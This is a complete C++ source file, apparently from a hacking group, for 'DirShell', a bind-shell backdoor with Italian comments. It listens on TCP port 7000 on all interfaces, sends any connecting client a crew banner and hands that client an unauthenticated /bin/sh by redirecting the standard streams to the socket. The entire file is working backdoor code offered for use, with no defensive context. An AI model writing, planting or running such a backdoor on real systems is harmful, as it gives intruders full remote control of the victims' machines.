/*
"DirShell" Coded By Dir31
Rbt-4 and Hic crew
Thanks to Matrix86 for his sources
Dir31[at]rbt-4[dot]net
*/
#include <iostream>
#include <sys/types.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <stdio.h>
#include <time.h>
#include <errno.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
using namespace std;
/*Classe Connection che gestirà la connessione*/
class Connection{
private:
int sock,asock,_porta;
bool IsConfig;
struct sockaddr_in addr;
int Bind_And_Listen_Connection();
int AcceptConnection();
public:
Connection();
Connection(int);
int MakeConnection();
void Doit();
};
//costruttore standard
Connection::Connection(){
IsConfig=false;
}
//overload del costruttore che configura la sockaddr_in
Connection::Connection(int porta){
IsConfig=true;
memset((void *)&addr,0,sizeof(addr));
addr.sin_port =htons(porta);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
}
//inizializziamo la socket
int Connection::MakeConnection(){
if(!IsConfig) return 1;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock<0){
fprintf(stderr,"Errore in socket()\n");
return 1;
}
//richiamiamo le 2 funzioni membro private che si occuperanno della bind() e dell' accept()
if(Bind_And_Listen_Connection()==1) return 1;
if(AcceptConnection()==1) return 1;
return 0;
}
//Bindiamo la socket e ci mettiamo in listening
int Connection::Bind_And_Listen_Connection(){
if(bind(sock,(struct sockaddr *)&addr,sizeof(addr)) < 0){
fprintf(stderr,"Errore in bind()\n");
return 1;
}
if (listen(sock, 10) < 0 ) {
fprintf(stderr,"Errore in listen()\n");
return 1;
}
return 0;
}
//Accettiamo la socket
int Connection::AcceptConnection(){
char mex[]="***DirShell coded by Dir31***\n*** RBT-4 & HIC crew ***\n\n";
asock = accept(sock, (struct sockaddr *) NULL, NULL);
if (asock < 0){
fprintf(stderr,"Errore in accept()\n");
return 1;
}
//Da questo momento in poi gli stream di output verranno reindirizzati al client
dup2(asock, STDIN_FILENO);
dup2(STDIN_FILENO, STDOUT_FILENO);
dup2(STDIN_FILENO, STDERR_FILENO);
//Scriviamo sullo stream il messaggio
write(asock,&mex,strlen(mex));
return 0;
}
//Ed ecco che diamo in pasto la shell al nostro thread
void Connection::Doit(){
execl("/bin/sh",NULL);
}
//Funzione main() molto semplice che richiama l' oggetto e i 2 membri pubblici
int main(){
Connection Myconnection(7000);
if(Myconnection.MakeConnection()!=0){
fprintf(stderr,"Errore in MakeConnection()\n");
return 1;
}
Myconnection.Doit();
return 0;
}